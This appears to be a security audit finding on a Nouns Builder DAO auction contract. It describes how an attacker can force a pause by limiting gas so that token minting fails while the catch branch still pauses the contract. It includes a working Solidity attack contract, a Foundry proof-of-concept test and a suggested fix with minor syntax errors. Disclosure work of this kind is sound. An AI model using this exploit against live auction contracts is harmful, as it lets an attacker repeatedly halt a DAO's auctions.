Attacker can force pause the Auction contract.
In certain situations (e.g founders have ownership percentage greater than 51) an attacker can potentially exploit the `try catch` within the `Auction._CreateAuction()` function to arbitrarily pause the auction contract.\\nConsider the code from `Auction._CreateAuction()` function, which is called by `Auction.settleCurrentAndCreateNewAuction()`. It first tries to mint a new token for the auction, and if the minting fails the `catch` branch will be triggered, pausing the auction.\\n```\\nfunction _createAuction() private returns (bool) {\\n // Get the next token available for bidding\\n try token.mint() returns (uint256 tokenId) {\\n  // Store the token id\\n  auction.tokenId = tokenId;\\n\\n  // Cache the current timestamp\\n  uint256 startTime = block.timestamp;\\n\\n  // Used to store the auction end time\\n  uint256 endTime;\\n\\n  // Cannot realistically overflow\\n  unchecked {\\n   // Compute the auction end time\\n   endTime = startTime + settings.duration;\\n  }\\n\\n  // Store the auction start and end time\\n  auction.startTime = uint40(startTime);\\n  auction.endTime = uint40(endTime);\\n\\n  // Reset data from the previous auction\\n  auction.highestBid = 0;\\n  auction.highestBidder = address(0);\\n  auction.settled = false;\\n\\n  // Reset referral from the previous auction\\n  currentBidReferral = address(0);\\n\\n  emit AuctionCreated(tokenId, startTime, endTime);\\n  return true;\\n } catch {\\n  // Pause the contract if token minting failed\\n  _pause();\\n  return false;\\n }\\n}\\n```\\n\\nDue to the internal logic of the `mint` function, if there are founders with high ownership percentages, many tokens can be minted to them during calls to mintas part of the vesting mechanism. As a consequence of this under some circumstances calls to `mint` can consume huge amounts of gas.\\nCurrently on Ethereum and EVM-compatible chains, calls can consume at most 63/64 of the parent's call gas (See EIP-150). An attacker can exploit this circumstances of high gas cost to restrict the parent gas call limit, making `token.mint()` fail and still leaving enough gas left (1/64) for the `_pause()` call to succeed. Therefore he is able to force the pausing of the auction contract at will.\\nBased on the gas requirements (1/64 of the gas calls has to be enough for `_pause()` gas cost of 21572), then `token.mint()` will need to consume at least 1359036 gas (63 * 21572), consequently it is only possible on some situations like founders with high percentage of vesting, for example 51 or more.\\nConsider the following POC. Here we are using another contract to restrict the gas limit of the call, but this can also be done with an EOA call from the attacker.\\nExploit contract code:\\n```\\npragma solidity ^0.8.16;\\n\\ncontract Attacker {\\n    function forcePause(address target) external {\\n        bytes4 selector = bytes4(keccak256("settleCurrentAndCreateNewAuction()"));\\n        assembly {\\n            let ptr := mload(0x40)\\n            mstore(ptr,selector)\\n            let success := call(1500000, target, 0, ptr, 4, 0, 0)\\n        }\\n    }\\n}\\n```\\n\\nPOC:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity 0.8.16;\\n\\nimport { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";\\nimport { MockERC721 } from "./utils/mocks/MockERC721.sol";\\nimport { MockImpl } from "./utils/mocks/MockImpl.sol";\\nimport { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";\\nimport { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol";\\nimport { Auction } from "../src/auction/Auction.sol";\\nimport { IAuction } from "../src/auction/IAuction.sol";\\nimport { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";\\nimport { TokenTypesV2 } from "../src/token/types/TokenTypesV2.sol";\\nimport { Attacker } from "./Attacker.sol";\\n\\ncontract AuctionTest is NounsBuilderTest {\\n    MockImpl internal mockImpl;\\n    Auction internal rewardImpl;\\n    Attacker internal attacker;\\n    address internal bidder1;\\n    address internal bidder2;\\n    address internal referral;\\n    uint16 internal builderRewardBPS = 300;\\n    uint16 internal referralRewardBPS = 400;\\n\\n    function setUp() public virtual override {\\n        super.setUp();\\n        bidder1 = vm.addr(0xB1);\\n        bidder2 = vm.addr(0xB2);\\n        vm.deal(bidder1, 100 ether);\\n        vm.deal(bidder2, 100 ether);\\n        mockImpl = new MockImpl();\\n        rewardImpl = new Auction(address(manager), address(rewards), weth, builderRewardBPS, referralRewardBPS);\\n        attacker = new Attacker();\\n    }\\n\\n    function test_POC() public {\\n        // START OF SETUP\\n        address[] memory wallets = new address[](1);\\n        uint256[] memory percents = new uint256[](1);\\n        uint256[] memory vestingEnds = new uint256[](1);\\n        wallets[0] = founder;\\n        percents[0] = 99;\\n        vestingEnds[0] = 4 weeks;\\n        //Setting founder with high percentage ownership.\\n        setFounderParams(wallets, percents, vestingEnds);\\n        setMockTokenParams();\\n        setMockAuctionParams();\\n        setMockGovParams();\\n        deploy(foundersArr, tokenParams, auctionParams, govParams);\\n        setMockMetadata();\\n        // END OF SETUP\\n\\n        // Start auction contract and do the first auction\\n        vm.prank(founder);\\n        auction.unpause();\\n        vm.prank(bidder1);\\n        auction.createBid{ value: 0.420 ether }(99);\\n        vm.prank(bidder2);\\n        auction.createBid{ value: 1 ether }(99);\\n\\n        // Move block.timestamp so auction can end.\\n        vm.warp(10 minutes + 1 seconds);\\n\\n        //Attacker calls the auction\\n        attacker.forcePause(address(auction));\\n\\n        //Check that auction was paused.\\n        assertEq(auction.paused(), true);\\n    }\\n}\\n```\\n
Consider better handling the possible errors from `Token.mint()`, like shown below:\\n```\\n  function _createAuction() private returns (bool) {\\n      // Get the next token available for bidding\\n      try token.mint() returns (uint256 tokenId) {\\n          //CODE OMMITED\\n      } catch (bytes memory err) {\\n          // On production consider pre-calculating the hash values to save gas\\n          if (keccak256(abi.encodeWithSignature("NO_METADATA_GENERATED()")) == keccak256(err)) {\\n              _pause();\\n              return false\\n          } else if (keccak256(abi.encodeWithSignature("ALREADY_MINTED()") == keccak256(err)) {\\n              _pause();\\n              return false\\n          } else {\\n              revert OUT_OF_GAS();\\n          }\\n      } \\n```\\n
Should the conditions mentioned above be met, an attacker can arbitrarily pause the auction contract, effectively interrupting the DAO auction process. This pause persists until owners takes subsequent actions to unpause the contract. The attacker can exploit this vulnerability repeatedly.
```\\nfunction _createAuction() private returns (bool) {\\n // Get the next token available for bidding\\n try token.mint() returns (uint256 tokenId) {\\n  // Store the token id\\n  auction.tokenId = tokenId;\\n\\n  // Cache the current timestamp\\n  uint256 startTime = block.timestamp;\\n\\n  // Used to store the auction end time\\n  uint256 endTime;\\n\\n  // Cannot realistically overflow\\n  unchecked {\\n   // Compute the auction end time\\n   endTime = startTime + settings.duration;\\n  }\\n\\n  // Store the auction start and end time\\n  auction.startTime = uint40(startTime);\\n  auction.endTime = uint40(endTime);\\n\\n  // Reset data from the previous auction\\n  auction.highestBid = 0;\\n  auction.highestBidder = address(0);\\n  auction.settled = false;\\n\\n  // Reset referral from the previous auction\\n  currentBidReferral = address(0);\\n\\n  emit AuctionCreated(tokenId, startTime, endTime);\\n  return true;\\n } catch {\\n  // Pause the contract if token minting failed\\n  _pause();\\n  return false;\\n }\\n}\\n```\\n